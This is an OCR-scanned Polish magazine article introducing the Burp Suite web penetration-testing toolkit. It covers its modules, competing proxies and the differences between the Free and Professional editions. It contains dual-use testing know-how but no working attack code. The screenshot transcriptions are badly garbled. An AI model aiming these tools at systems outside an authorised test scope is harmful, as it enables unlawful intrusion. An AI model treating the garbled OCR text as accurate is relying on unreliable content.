<link rel='stylesheet' id='dashicons-css' href='http://sekurak.pl/wp-includes/css/dashicons.min.css?ver=3.9.1"
type='text/css' media='all' />
<link rel='stylesheet' id='admin-bar-css' href='http://sekurak.pl/wp-includes/css/admin-bar.min.css?ver=3.8.1" :
e o tamt wmed AU Uyl =

[j_m [EJ IEJ T_'.pee;eerth term 0 matches

2. Burp Suite — Modut ,,Proxy”.

Burp Target oraz Burp Spider
Zaktadka Target buduje drzewo stron, ktorych ruch przeszedt przez narzedzia pa-
kietu, w szczegdlnosci przez Burp Proxy. Czytelna mapa przetestowanych zasobow

to nie wszystkie mozliwosci zaktadki Target, ktéra udostepnia rowniez mozliwosc¢
definiowania zasiegu testéw, tzw. Scope. Strony niebedace w zasiegu testéw, nie
beda brane pod uwage podczas akcji wykonywanych w sposéb automatyczny
w pakiecie. Dzieki dobrze zdefiniowanemu zasiegowi mamy pewnos¢, ze nie zaata-
kujemy pewnych stron bezprawnie, np. wysytajac ztosliwe zadania do strony wy-
tacznie podlinkowanej w testowanej web aplikacji. Jest to szalenie wazne w kontek-
$cie zaréwno legalnosci testéw, kontraktu z klientem jak i samej metodologii testow
penetracyjnych.

E Burp Suite Free Edition v1.6 = &
Burp Intruder Repeater Window Help

Target | Proxy | Spider | Scanner T Intruder T Repeater I Seguencer TDecher T Comparer TEx‘Iender T Options | Alerts

Site map | Scope
| Fiter: Hiding not found items; hiding CSS, image and general binary content, hiding 4xx responses; hiding empty folders | ?
> http:/ip.ostim : Host Method | URL | Params | Status & | Length | MIME type | Title

¥ hitp:/iipiatkosia k4be.pl hitp:ivizzdoom.net GET ! g =200 69984  HTML Vizzdoom &
b it e gaciaiad hitp:fivizzdoom.net GET Iwp-contentiplugins/next.. @ 200 504 script

¥ hitp:iipl.scribd.com hitp:ivizzdoom. net GET Iwp-contentithemesistar g =200 45634 seript

» B hitps:iipl wordpress.org hitp:#vizzdoom.net GET Iwp-contentthemes/star.. () 200 308 script

» £ nitps:iiplatform twitter.com hitp:itvizzdoom. net GET 12013/05/0-bezpisczenst a HTML

¥y Sl ke gt hitp:/vizzdoom.net GET 1201 3/1 Zsekurak-przegl.. =] HTHL

¥ hitpiliregoncalves.pt hitp:itvizzdoom. net GET 1201401 hardened-moca a HTML

» hitp:direguirejs.org hitp:ifvizzdoom.net GET [2014/01/noworocznete. .. a HTML

¥ hitp:is.gravatar.com hitp:ivizzdoom. net GET 1201 4/02/graficzna-histo a HTML

» hitp:dis0.wp.com hitp:ifvizzdoom.net GET wolfram-langua. a HTML v
» hitp:/is5 scribdassets.com Taa— L o nn s ion - — = -

Lt v
» http://is6 scribdassets.com " — . s
® hitpiis7 scribdassets. com
R t | Response

» hitp:iisc tynt.com

¥ hitp:dselaxek pl Raw | Headers | Hex | HTML | Render

» ) nttps:iisekurak.pl

» hitpiisnupt.blogspot.com HTTP/ 1.1 _‘DD OK .
» Http/ispta.net ];ate: Fri, 04 Jul 2014 21:56:01 GMT

v f‘f hitps:ifss| Server: Apache )

F \ ¥X-Frame-Options: SAMECRIGIN
i e s ¥-Pinghack: ht.t.p:J.{vlzzdaom.net/xmlrpc .php
Vary: Accept-Encoding

FEhiipiRrigs Exwdcnin et Content-Length: E9753

* http:diter.tynt.com Content-Type: text/html; charset=UTF-8

» hitpuitwitter.com

> £ hitps:iitwiter.com <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"

hitp:dfvizzdoom.net | "http://www. w3, org/ TR/xhtm11/DTD/xhtmll-strict.dtd">

» httpiifvndh.net <html xmlns="http://wwv.w3.org/19859/xhtml" lang="en-US">

» hitp:/ivoldy net

» hitp:/fwordpress.org <head>

» hitp:iiwp.me <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />

» hity <title>Vizzdoomk#039 s area</title>

» htt <meta name="generator" content="WordPress 3.7.1" /> <!-- leave this

» it for stats please -->

g F-\ﬂp'j <link rel="stylesheet" type="text/css"

Ld https:/ w facebook i

S href="http://vizzdoom.net/wp-content/themes/stardust/style.css"
» httpuip w.googletagmanager.com B = ke
media="screen" />
pogletagservices.com <link rel="srvissheer" rvnes"reyr/nssn 4
inksalpha.com 3 - e
» it w Inchtcant binosnot com b L - J i | J B || T)pe d searcienn 0 matches

3. Burp Suite — Modut , Target”.

Jesli juz o automatyzacji mowa, to trzeba miec¢ na uwadze, ze Burp Suite posiada sporo
narzedzi automatycznie znajdujacych podatnosci. Pakiet firmy Portswigger np. poprzez
modut skanera potrafi po wystaniu szkodliwych zadan oceni¢ bezpieczenstwo testo-
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wanej aplikacji. Do skutecznego dziatania tego rodzaju automatéw niezmiernie istot-
ne jest, aby dostarczy¢ wyczerpujaca liste tzw. miejsc wstrzyknie¢, ktére beda atako-
wane. Taka lista znajduje sie wiasnie w zaktadce Target i moze by¢ rozszerzona o nowe
zasoby z pomoca modutu Spider. Spider jest narzedziem typu web crawler, ktéry po
uruchomieniu mapuje strone i przekazuje ,znaleziska” — przez linki, formularze, akcje
Javascriptowe — wprost do zaktadki Target. Mapa strony zawierajaca liste odkrytych uri
jest budowana rownoczesnie przez akcje testera wykonywane w przegladarce wska-
zujacej na Burp Proxy, jak i przez web crawlera. Drzewo stron utatwia prace testera oraz
automatoéw, wiec warto zadbac o jej jak najwieksza szczegétowosc.

E Burp Suite Free Edition v1.6 = =
Burp Intruder Repeater Window Help
Target | Proxy | Spider T Scanner I Intruder I Repeater I Sequencer I Decoder T Comparer TExtandar I Options | Alerts
Control | Options

@ Spider Status

Use these settings to monitor and contrel Burp Spider. To begin spidering, browse to the target application, then right-click ene or more nedes in the target site map, and choose "Spider this
host / branch™

L Spider is paused J l Clear queues J

Requests made: 0
Bytes transferred: 0
Requests gqueued: 0

Forms queued: o

5

Spider Scope

® Use suite scope [defined in Target tab]

(O Use custom scope

Y

4. Burp Suite — Modut ,, Spider”.

Burp Scanner

Skaner w sposdb automatyczny wykrywa podatnosci w aplikacjach internetowych,

a doktadniej we wskazanych zasobach, np. wybranych z zakfadki Target. Bazujac na

zasiegu oraz mapie strony skaner z wykorzystaniem heurystyki, paylodéw oraz bazy

wiedzy potrafi wskaza¢ popularne podatnosci web aplikacji, np. te zdefiniowane

w OWASP Testing Guide. Skaner Burpa moze dziata¢ w dwéch trybach:

» aktywnym - w ktdrym narzedzie wykonuje wstrzykniecia do aplikacji i na pod-
stawie odpowiedzi probuje odnalez¢ podatnosci (SQL Injection, XSS itp.),

» pot-pasywnym (tzw. live scanning) - w ktérym analizowane sg odpowiedzi trafia-
jace do innych narzedzi pakietu, na podstawie tresci ktérych narzedzie raportuje
potencjalne problemy z bezpieczernstwem lub informacje z kontekstu testéw pe-

netracyjnych. Wazne jest to, ze w trybie pét-pasywnym nie s wykonywane zadne
dodatkowe akcje lub zadania, ktére mogtyby dodatkowo zaszkodzi¢ badanej apli-
kacji internetowej, np. poprzez zmiany stanu jakiegokolwiek jej obiektu.

Burp Scanner cechuje sie bardzo dobrymi wynikami i jest w stanie konkurowac
z najwiekszymi graczami na rynku automatycznych skaneréw podatnosci, takimi
jak Acunetix czy AppScan.

Burp Scanner jest dostepny w wersji profesjonalnej pakietu, jednak w poréwna-
niu do innych programéw tego typu, koszty jego uzywania sg nawet kilkadziesiat
razy mniejsze niz produktéw konkurencji.

Burp Intruder Repeater Window Help

Target | Proxy | Spider | Scanner T Intruder T Repeater I Sequencer IDecnder I Comparer I Extender I Options | Alerts

JMT Scan queue T Live scanning I Options ]

» @) nhitp:/0.gravatar.com ! Session token in URL
| nttp:iisekurak pl 1 Cross-domain POST

» | hitpuistatic.ak. facebook.com 1_Frameable response (potential Clickjacking)

_[ Advisory T Request T Response ]

. 3

1 Frameable response (potential Clickjacking)

Issue: Fr: T ial Clickjacking)
Severity: Information

Confidence: Firm

Host http:/isekurak.pl

Path: !

Issue description

It might be possible for a web page controlled by an altacker to load the content of this response within an
iframe on the attacker's page. This may enable a "clickjacking™ attack, in which the altacker's page overlays the
target application’s interface with a different interface provided by the altacker. By inducing victim users to
perform actions such as mouse clicks and keystrokes, the attacker can cause them to unwiltingly carry out
actions within the application that is being targeted. This technique allows the aitacker to circumvent defenses
against cross-site request forgery, and may resultin unauthorized actions

Note thatthis issue is being reported because the application’s response does not set a suitable .
X-Frame-Options header in order to prevent framing attacks. Some applications attempt to prevent these I

5. Burp Suite — Modut ,,Scanner”.

Burp Intruder
Intruder jest jednym z najmniej intuicyjnych narzedzi pakietu, jednak po poznaniu
jego struktury i przeprowadzeniu kilku atakéw za jego pomoca, szybko staje sie nie-
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zwykle przydatnym modutem. Ideg Burp Intruder jest tworzenie i wysytanie nowych
zapytan HTTP na podstawie wczesniej przygotowanej probki pobranej np. z mo-
dutu Proxy lub Repeater. Nowe zapytania tworzone sg przez modyfikacje specjalnie
oznaczonych punkéw wstrzyknie¢ w zagdaniu bazowym. Dane do punktéw wstrzyk-
nie¢ dostarczymy w zaktadce Payloads — moga to by¢ kolejne liczby z podanego za-
kresu, znaki uzywane podczas wstrzyknie¢ SQLi, stowniki popularnych haset i wiele,
wiele innych. Po konfiguracji ataku Intruder wysyta szereg zgdan HTTP, ktérych od-
powiedzi kolekcjonowane sg w formie tabelarycznej. Po zakonczonym ataku nalezy
przejrze¢ raport pod katem anomalii, ktére wskazg nietypowe odpowiedzi serwe-
ra. Tego typu zadanie wysyta sie nastepnie do innych modutéw, np. do Sequencera
i dalej analizuje lub eksploituje. Burp Intruder posiada sporo opcji konfiguracyjnych,
zaréwno jesli chodzi o metode podmiany punktéw wstrzyknie¢, jak i dynamiczne-
go tworzenia samych payloadow. Dzieki temu jego mozliwosci sg naprawde spore
— Intruder moze postuzy¢ zaréwno jako proste narzedzie bruteforce, subtelny zbie-
racz informacji, a nawet jako zaawansowany fuzzer.

Intruder jest bardzo przydatnym narzedziem, jednak jego petnymi mozliwoscia-
mi moga cieszyc sie wylacznie osoby z wykupiong licencjg komercyjng pakietu.

Darmowy Burp mocno ogranicza Intrudera, zarbwno w dostepnych opcjach
konfiguracyjnych, jak i podczas samego ataku, ktérego czas jest sztucznie wydtuza-
ny. Niemniej jednak warto uzywac tego modutu nawet w Burpie Free, poniewaz jest
to jeden z najprostszych fuzzerow web aplikacji, dajacy bardzo ciekawe rezultaty.
Z powodzeniem wystarczy to do przeprowadzania prostych testow, a gdy ograni-
czenia zaczna meczyc¢... wtedy z pewnosciag warto bedzie przyjrzec sie wersji ko-
mercyjnej catego pakietu.

Burp Repeater

Gdy wystapi koniecznos¢ czestej modyfikacji zadan HTTP, niezwykle przydatny
okazuje sie modut Repeater. W zaktadce Repeatera mozemy recznie modyfikowac
zadanie - stworzone od podstaw lub dostarczone z innych modutéw — wystac je
i czytelnie analizowa¢ odpowiedz w oknie Response. Przy uzyciu kilku sztuczek mo-
dut Repeater znacznie utatwia prace podczas testowania wstrzyknie¢, w szczegdlno-
$ci, gdy spodziewamy sie podatnosci powstatej w wyniku manipulacji parametréw
lub nagtéwkow. W praktyce Repeater w tandemie z Burp Proxy to najczesciej wyko-
rzystywane narzedzia z catego pakietu.

E Burp Suite Free Edition v1.6 = &
Burp Intruder Repeater Window Help
Target | Proxy | Spider | Scanner Thtuhl T Repeater I Seguencer TDecher T Comparer TEx‘Iender T Options | Alerts
1 %
Target | Positons | Payloads | Options
@ Payload Positions
Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to payload positions - see help for ful
details.
Attack type: | Sniper |']
POST /example?pl=§plval§cpZ=§pivals HTTPR/L.0 s Add§
Cookie: c=§eval§ P
Content-Length: 17
Clear §
p3=§p3val§cp4=§pdvals
I P I i Auto§
Refresh
b
v
e = - = Type a search term 0 matches Clear
S payload positions Length: 107
: ”
6. Burp Suite — Modut , Intruder”.
Burp Intruder “
' X The free edition of Burp contains a demo versien of Burp Intruder. Some functionality is disabled, and attacks are time throttled.

[ ] .\
“« — 2

Please visit hitp://portswigger.net for more details about Burp Suite Professienal which contains the full version.

(e

7. Gtéwne ograniczenie modutu Intruder w wersji Burp Free.
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E Burp Suite Free Edition v1.6 = =
Burp Intruder Repeater Window Help
Target | Proxy | Spider | Scanner I Intruder Tﬂepeﬁter T Sequencer IDecnder I Comparer IExlender I Options | Alerts
1= [ 2 % 3
Go Cancel <|w >l Target: httprlisekurak.pl w EJ
Request Response
Raw | Headers | Hex Raw | Headers | Hex | HTML | Render
GET / HTTP/L.1 A HTTP/1.1 200 CE 'y
Host: sekurak.pl - Date: Fri, 04 Jul 2014 Z1:56:51 GNT
Proxy-Connection: keep-alive Server: Apache
Aocept: Konkurs-pwd-pl: QzhFODJGHNENFRUUzZNEMIME
text/html, application/xhtml+xml, application/=ml;q=0.9, im Vary: Accept-Encoding
age/webp, */*;q=0.8 Content-Length: 46639
User-Agent: Nozilla/5.0 (Windows NT £.3; WOWE4) Content-Type: text/html; charset=UTF-8
AppleWebKic/537.36 (KHTHL, like Gecko)
Chrome/36&.0.1985,103 Safari/537.36 <!DOCTYPE htmi>
DNT: 1
Accept-Encoding: gzip,deflate, sdch <html>
Aecept-Language: pl,en-US;gq=0.8,en:q=0.8,en-GE:=0.4 <head>
Cookie: xyz
<meta charset="UTF-8">
| <meta http-equiv="X-UA-Compatible"
content="IE=edge,chroms=1">
<title»</title>
<link rel="icon"
href="http://sekurak.pl/vwp-content/themes/Sekuracg/ img/f
avicon.ico">
<link rel="shortcut icon"
href="http://scskurak.pl/vp-content/themes/Sekurag/ img/ £
avicon.ico">
<link id="thems_stylesheest"”
rel="stylesheet"
href="http://sekurak.pl/wp-content/themes/Sekuracg/style
.css?1391461491">
€t-=[af ite IE 81>
- <link rel="stylesheet" medie="screen" -
e e b e L e L
v < + > Type a search term 0 matches o < + = Type a search term 0 matches
Done 46 837 bytes | 4 224 milis

8. Burp Suite — Modut ,,Repeater”.

Burp Sequencer

Bezpieczenstwo aplikacji internetowych w wielu aspektach opiera sie o rézne-
go rodzaju pseudo-losowosci. Bezpieczenstwo sesji, uwierzytelniania czy od-
pornos$¢ przed automatyczng enumeracja zasobéw lub wysytania zadan, zalezy
gtéwnie od tego, czy pewne wartosci tokenow beda tatwe do przewidzenia
czy tez nie. W ocenie jakosci zaimplementowanych mechanizméw do ,losowa-
nia” wartosci parametrow pomaga Burp Sequencer. Sequencer, wykorzystujac
obliczenia statystyczne na zestawie zebranych danych pomaga okresli¢ m.in.
praktyczna entropie losowanych wartosci (wsréod wartosci ciasteczek, toke-
now, identyfikatoréw obiektéw). Chociaz trudno dzisiaj natrafi¢ na duze pro-
blemy z identyfikatorami sesji, to jednak nadal mozna zauwazy¢ nie do konca

poprawng implementacje generowania wartosci parametréw zadan, ktére tyl-
ko z pozoru wygladajg na skomplikowane i ,losowe”. Automatyzacja obliczen
stwierdzajgca nieprawidtowosci w tego rodzaju funkcjach dzieki modutowi Se-
quencer staje sie prosta i szybka.

E Burp Suite Free Edition v1.6 = =

Burp Intruder Repeater Window Help

Target | Proxy | Spider | Scanner I Intruder T Repeater ISeqlenoH T Decoder I Comparer IExlender I Options | Alerts

_[ Live capture T Manual load T Analysis options ]

@ Select Live Capture Request

Send reguests here from other tools to configure a live capture. Select the request to use, configure the other options below, then click "Start live capture™

| Remove | |# 4 | Host | Request
1

httpifsekurak.pl GET / HTTPM.1Host: sekurak.plProxy-Connecti...
Clear

Start live capture

EJ Token Location Within Response

Select the location in the response where the token appears.

@ Form fiekd: | loc=en_us =)

O Custom location: Configure

Live Capture Options

These settings control the engine used for making HTTP requests and harvesting tokens when performing the live capture.

G @

Number of threads:

5
Throttle between reguests (miliseconds): o

[ Ignore tokens whose length deviates by | S characters

9. Burp Suite — Modut ,,.Sequencer”.

Burp Decoder i Burp Comparer

Dekoder jest prostym narzedziem wspomagajacym codzienng prace inzyniera
bezpieczenstwa. Modut ten pozwala szybko zakodowac oraz zdekodowac cigg
znakéw nainny format lub obliczy¢ skrét z danej wartosci. Ciekawa funkcjg mo-
dutu jest opcja Smart Decode, dzieki ktorej Burp stara sie automatycznie wykry¢
kodowanie danego ciggu, nawet, jesli zostat on zakodowany kilkoma réznymi
algorytmami.
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E Burp Suite Free Edition v1.6 = =

Burp Intruder Repeater Window Help

Target | Proxy | Spider | Scanner T Intruder T Repeater I Seguencer TDeuDda T Comparer TEx‘Iender T Options | Alerts

Sekurak| ® Text O Hex (2]

U2vrdXihaw== @ Text O Hex

%55%32%56% 72%64%58%4a%68%61% 77 %3d%3d @ Text O Hex

10. Burp Suite — Modut ,,Decoder”,

Comparer jest kolejnym prostym narzedziem pakietu Burp, jednak nie oznacza to,
ze rzadko uzywanym. W praktyce jest to narzedzie typu diff, porébwnujace wskaza-
ne zadania lub odpowiedzi HTTP. Mimo, ze Comparer sam w sobie nie jest niczym
szczegolnie odkrywczym, to podczas codziennej pracy uzywa sie go bardzo czesto,
wysylajac do niego gtéwnie zadania z modutdw Repeater lub Proxy.

Burp Extender

Pakiet Burp udostepnia interfejsy programistyczne dajgce mozliwos¢ dodania no-
wych paneli, zmiane zachowania obecnie dziatajacych modutéw lub tworzenie
catkowicie nowych funkcji. Zmiany takie najlepiej realizowac poprzez pisanie roz-

[ 4] Burp Suite Free Edition v1.6 = &
Burp Intruder Repeater Window Help
Target | Proxy | Spider | Scanner T Intruder T Repeater I Seguencer TDECDC'EI’ TCmpalu' TExIender T Options | Alerts
Comparer EJ
This function lets you do a word- or byte-level comparison between different data. You can load, paste, or send data here from other tools and then select the comparison you want to perform.
Select item 1:
# | Lengin | Data | Paste |
: | 465 GET /aggregatedijavascripttouch js?1404422476 HTTP/1.1Host: s7.scr cy-Conn.
2 464 GET /aggregated/javascript/ads.js 71404422476 HTTP/1.1Host: 85.scribdassets.comProxy-Conne... Load
E Word compare of #1 and #2 (2 differences) = I
Length: 466 @ Text O Hex Length: 464 @ Text O Hex
GET Jaggregatedijavascriptiolien.js71404422476 HTTR 1 GET Jaggregated/javascript/Bas, s 71404422476 HTTF/ 1
Host: g.scﬂbdassets.cum Host !.s:ribdassats com
Proxy-Connection: keep-alive Proxy-Connection: keep-alive
Accept: Accept: =/
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOWE4) AppleWebKit'537.38 (KHTML, like Ged| User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Ge:
Safari537.36 Safarif537.36
DNT: 1 DNT: 1
Referer: Referer:
hitp:/ifw ww . scribd. Vembed: ontent?start_page=18view_mode=8access http:/fwewew . scribd. /embed: ontent?start_page=18&view_mode=8access
Accept-Enceding: gzip,deflate, sdch Accept-Encoding: gzip, deflate, sdch
Accept-Language: pl.en-US;g=0.8,en,g=06,en-GB;q=0.4 Accept-Language: pl.en-US,g=0.8,en;3=0.6,en-GB,g=04
ELS J T <K J T
Key. [Modified DSl Added O Sync views
Words.
i

11. Burp Suite — Modut ,,Comparer”.

szerzen w Javie, jednak programisci Pythona oraz Rubiego réowniez z powodze-
niem moga korzystac¢ z dobrodziejstw Burp API. Funkcjonalnos¢ catego pakietu
moze by¢ wiec zwiekszana przez wgrywanie zewnetrznych pluginéw. Nie byto to
jednak zbyt wygodne rozwigzanie, az do czaséw Burpa w wersjii 1.6, w ktorej do-
dano zaktadke tzw. BApp Store’a. ,Sklepik” zawiera liste popularnych dodatkow,
ktére moga by¢ Sciggniete oraz wtgczone bezposrednio z poziomu samego Bur-
pa, co znacznie utatwia dostosowywanie programu do wiasnych potrzeb. Funkcja
sklepikow rozszerzen jest ogdlnie coraz czesciej spotykana w programach pokroju
Burpa, co bardzo cieszy. Oczywiscie ,Store” jest tu pojeciem mocno nad wyrost,
poniewaz wszystkie pluginy s darmowe i mato prawdopodobne jest, by kiedy-
kolwiek miato by¢ inaczej.
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E Burp Suite Free Edition v1.6 = =

Burp Intruder Repeater Window Help

Target | Proxy | Spider | Scanner T Intruder T Repeater I Seguencer TDECDC'EI’ T Comparer TE)denchr T Options | Alerts
[ Extensions TBAppSmre APls | Options ]

BApp Store @
The BApp Store contains Burp extensions that have been written by users of Burp Sutte, to extend Burp's capabiltties.

Name | Installed | Rating | Detail | A

NET Beautifier m] Fedokdok A J5 Beautifier

Active Scan++ ] Requires Bur... y . o

Additional Scanner Checks. a Requires Bur Many web sites :.umpress.resuurces.such as JavaScript files in order to }ncraase the

e 8] loading speed. This extension makes it possible to decompress and beautify most
resources, to faciltate testing.

Blazer =]

Bradamsa ] Features:

Browser Repeater o]

Carbonator = Requires Bur... @ Manual beautifying of reguests and responses

EgéF S 8 Requires Bur. @ Automatic beautifying of respenses in the Proxy tool

Custom Logger ] @ Automatic beautifying of respenses in the message editor

Faraday & Requires Bur. ’

Google Hack g @ Can support Burp's target scope configuration

HeartBleed a @ Mimicks the exact behaviour of JSBeautifier.org website by using Rhine library

HTMLE Auditor g Requires Bur...

lssue Poster =] Requires Bur 1 @ Supports multiple file types (JS, CSS, HTML, etc.)

2 @ Detects packers and obfuscators (based on JSBeautifier.org)

JSON Decoder o

Loggers+ =] @ Highlights syntax highlighter in the read-only editor by using Fifesoft

NMAP Parser = RSyntaxTextArea library

Notes =]

Payload Parser a This extension is based on the following moedules/libraries:

Protobuf Decoder =] i . i i

Python Scripter o @ IS files of hitp./ijsbeautifier.org/ - Written by Einar Lielmanis, einar@jsbeautifier.org

Random IP Address Header =] @ Rhino library - http:/woww.mozilla.org/rhined

Reissue Reguest Scripter =

Request Randomizer a @ Fifesoft RSyntaxTextArea library: hitp:/fifesoft. com/rsyntaxtextarea/

SAML Editor (0]

SAWL Encoder / Decoder a LN

Seniinl g ® Only supports UTF-G for texts

Session Auth ] Requires Bur.

Session Timeout Test a @ Requires Java version 7

Software Version Reporter =] Requires Bur.

ThreadFhe =] Benuiree Rur %

| Refrashist | | Manualinstal .. |

12. Burp Suite — Modut , Extender”.

Pozostatle opcje pakietu

Burp Suite posiada duzo ciekawych opcji konfiguracyjnych znacznie utatwiajacych
lub modyfikujacych codzienna prace. Mozna tu wymienié¢ chociazby opcje automa-
tycznego uwierzytelniania w web aplikacji, interpretacje ruchu streamowanego,
kontrole nad uzgadnianiem protokotu SSL czy zasady wspétdzielenia sesji miedzy
modutami pakietu. Oczywiscie znalazto sie réwniez kilka opcji dotyczacych wygla-
du interfejsu czy przypisywania skrotéw przyspieszajacych prace. Panel opcji bede
demonstrowat na biezaco podczas demonstrowania kolejnych funkgcji lub trickéw
w dalszych czesciach cyklu.

[ 4] Burp Suite Free Edition v1.6 = &

Burp Intruder Repeater Window Help

Target | Proxy | Spider | Scanner T Intruder T Repeater I Seguencer TDECDC'EI’ T Comparer TEx‘Iender TOphuns Alerts.
Connections | HTTP | SSL | Sessions | Display | Misc

— N A
&) Platform Authentication l\
E These settings let you configure Burp to automatically carry out platform authentication to destination web servers.
[ Do platform authentication
L_.M,_,] Host | Type | username | Domain | Domain host |
T E Add platform authentication credentials | = |
Remove EJ Enter the platform credentials for the specified host
Destination host
Authentication type: [ NTLMv2 | 'J
[J Prompt for credentials on platform authenti Username:
Password: |
E] Upstream Proxy Servers
T Domain:
> The following rules determine whether Burp se e first rule that matches each destination host will
be used. To send all traffic to a single proxy se Hostname:
l Add J Enabled Destination host name
oK Cancel
Edit ;J
Remove »>
L |
l Down J
2| SOCKS Proxy
G These settings let you configure Burp to use a SOCKS proxy. This setting is applied at the TCP level, and all outbound requests will be sent via this proxy. If you have configured rules for
upstream HTTP proxy servers, then requests to upstream proxies will be sent via the SOCKS proxy configured here.
[J Use SOCKS proxy -
|

13. Opcje Burp Suite.

KONKURENCI

Oczywiscie Burp nie jest jedynym programem, ktory z wykorzystaniem lokalnego
proxy pomaga badac bezpieczenstwo web aplikacji. Jesli chodzi o alternatywe do
Burpa, szczegdlnie warto wymienic trzy nazwy: Fiddler, ZAP oraz IronWASP.
Telerik Fiddler jest czesto wymieniang alternatywa dla Burpa, w szczegdlnosci
dla os6b korzystajacych czesto z technologii firmy Microsoftu. Fiddler, dziatajacy
gtéwnie na systemie Windows, jest ,web proxy debuggerem”i w tej roli radzi sobie
Swietnie. Niestety trudno postawi¢ go obok Burpa z tego wzgledu, ze Fiddler udo-
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stepnia funkcje skupione wytacznie wokét debugowania ruchu HTTP i domyslnie
nie ma zbyt duzo funkgcji, ktére interesowatyby inzyniera bezpieczehstwa. Mozna
by rzec, ze gdy Burp stworzony jest dla pentesteréw, to Fiddler dla programistéw
web aplikacji, ktorzy chca miec kontrole nad zapytaniami HTTP. Jezeli Fiddler jako
proxy wyda nam sie wygodniejszy, to zawsze mozna uzywac go w potaczeniu z Bur-
pem i w jednym programie analizowac zadania, a w drugim atakowac testowana
aplikacje.

Zed Attack Proxy, lub w skrocie ZAP, jest innym lokalnym proxy, rozwijane jako
projekt Open Source przez organizacje OWASP. Zaréwno ZAP, jak i Burp Suite
czerpia bardzo duzo od siebie wzajemnie i ogdlnie udostepniajg testerom po-
dobne funkcje. Proxy sygnowane logiem OWASP, podobnie jak Burp, réwniez jest
multiplatformowa aplikacja uruchamiang w wirtualnej maszynie Javy, z typowym
interfejsem aplikacji Javy. Program ten kojarzy sie wielu osobom z oprogramowa-
niem moze i dobrym, ale nie do korica dopracowanym i aktualnym w stosunku do
Burpa.

Sytuacja mocno zmienita sie w roku 2012, gdy zaprezentowana ZAP-a w wersji
2.x. Od tamtego czasu posiada on bardzo zblizone funkcje do oprogramowania fir-
my Portswiggeer i jest wskazywany jako jego gtéwny konkurent. ZAP, dzieki duze-
mu zainteresowaniu Google, corocznie rozwijany jest w ramach Google Summer of
Code, a ciggty naptyw swietnych funkcji sprawia, ze jest to naprawde dobry i czesto
aktualizowany projekt Open Source. Chociaz Burp w wersji Professional przechy-
la mocno szale ,zwyciestwa” na swoja korzys¢, to nieaktualizowanego Burpa Free
mozna ze spokojnym sumieniem zamieni¢ na ZAP-a. Pytanie tylko, czy w przysztosci
nie zdecydujemy sie jednak zakupic¢ subskrypcji Burp Suite Pro.

Nowym, bardzo obiecujacym graczem wsréd darmowych, lokalnych proxy staje
sie ostatnio IronWASP. Podobnie jak Fiddler, [ronWASP zostat skonstruowany z my-
$l3 o systemach Microsoft Windows, ale mozna go réwniez uruchomic na systemach
Linuksowych (przez wine) lub OS X (przez Crossover). Gdy multiplatformowy inter-
fejs Burpa czy ZAP-a sprawia problemy, wtedy ,Microsoftowy” IronWASP, korzysta-
jacy z bibliotek Fiddlera, okazuje sie dobra alternatywa. Program ten jest obecnie
dynamicznie rozwijany i w testach wypada bardzo dobrze, w szczegdélnosci jak na
tak mtody projekt.

Warto przygladac sie rozwojowi lIronWASP-a, uzywac go zamiast Fiddlera, ponie-
waz w praktyce IronWASP wykorzystuje jego biblioteki.

CZY POWINIENEM KUPIC BURP PROFESSIONAL

Wersje Burp Suite Free od Professional nie réznig sie od siebie zbytnio. Wiekszos¢
zadan w codziennej pracy testera bezpieczenstwa web aplikacji mozna wykonac
z pomocg wersji bezptatnej. Czy wiec warto rozwazac zakup licencji?

Professional
Free Edition Edition
$299 per user per year
Burp Proxy
Burp Spider

Burp Repeater
Burp Sequencer
Burp Decoder
Burp Comparer
Burp Intruder Time-throttled demo
Burp Scanner
Save and Restore
Search

Target Analyzer

Content Discovery

Task Scheduler

©OQ0O000000

Frequent updates, earlier

Release Schedule releases, beta o

Major point releases

Download \g/
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Adrian “Vizzdoom" Michalczyk \Vprowadzenie do narzedzia Burp Suite

Wersja rozszerzona Burpa to przede wszystkim dostep do funkgji skanera i w petni
odblokowany modut Intruder. Do tego dochodzi pare pomniejszych udogodnien,
jak np. automatyczne zapisywanie stanu programu, harmonogramowanie zadan
i podobne. Bardzo duzg zaletg licencji komercyjnej jest duza liczba aktualizacji. Pro-
gram w wersji bezptatnej aktualizowany jest tylko przy gtéwnych wydaniach (1.5,
1.6...), Burp Suite Pro aktualizowany jest oczywiscie na biezaco. Ma to duze zna-
czenie, poniewaz aktualizacje pojawiajg sie Srednio co miesigc i wprowadzaja na-
prawde przydatne zmiany — a to udogodnienia w interfejsie, nowe opcje, znaczne
zwiekszanie skutecznosci narzedzi i podobne. Po wydaniu nowej gatezi Burp Free
od wersji profesjonalnej nie rézni sie wiele, jednak z uptywem czasu réznice miedzy
tymi dwoma wersjami stajg sie mocno zauwazalne. Warto zaznaczy¢, ze aktualizacja
gtéwnej gatezi Burpa odbywa sie mniej wiecej co péttora roku. Jesli ten trend bedzie
zachowany, to kolejnej wersji (1.7) bedzie mozna sie spodziewac¢ dopiero w drugiej
potowie 2015 roku, co mocno zacheca do uzywania ptatnej wersji Burpa (w szcze-
golnosci ze w juz w Burpie 1.6.01 wprowadzono duzo ciekawych udogodnien).

Obecnie profesjonalna wersja pakietu kosztuje rocznie $299/€249/£199 (+VAT).
Czy jest to cena wygdrowana czy tez nie, to jak zwykle zalezy od osobistych prefe-
rencji, jednak z czystym sumieniem trzeba powiedzie¢, ze jest to cena niezwykle
konkurencyjna, chociazby w poréwnaniu modutu skanera do rozwigzan konkuren-
¢ji. Warto zaznaczy¢, ze twdrcom bardzo zalezy na tym, aby oprogramowanie byto
sprzedawane za jak najnizsza cene i staraja sie oni nie podnosic z roku na rok ceny
licencji, nawet mimo dobrych wynikéw Burpa w rankingach. Taka postawa bardzo
cieszy :-) Niestety tworcy Burpa nie udostepniaja opcji wykupienia wieczystej licen-
¢ji, wiec chec korzystania z profesjonalnej wersji pakietu bedzie kosztowac okofto ty-
sigca dwustu ztotych rocznie. Dla firmy lub pentesteréw/audytoréw posiadajacych
state zlecenia nie powinna to by¢ cena zaporowa. Uzytkownicy biznesowi moga
réwniez wnioskowa¢ o petna, 14 dniowa wersje oprogramowania. Inzynierowie
bezpieczenstwa na poczatku swojej kariery oraz osoby niezdecydowane moga z
powodzeniem uzywac wersji bezptatnej, ktéra zawiera wiekszos¢ funkgji ptatnego
odpowiednika.

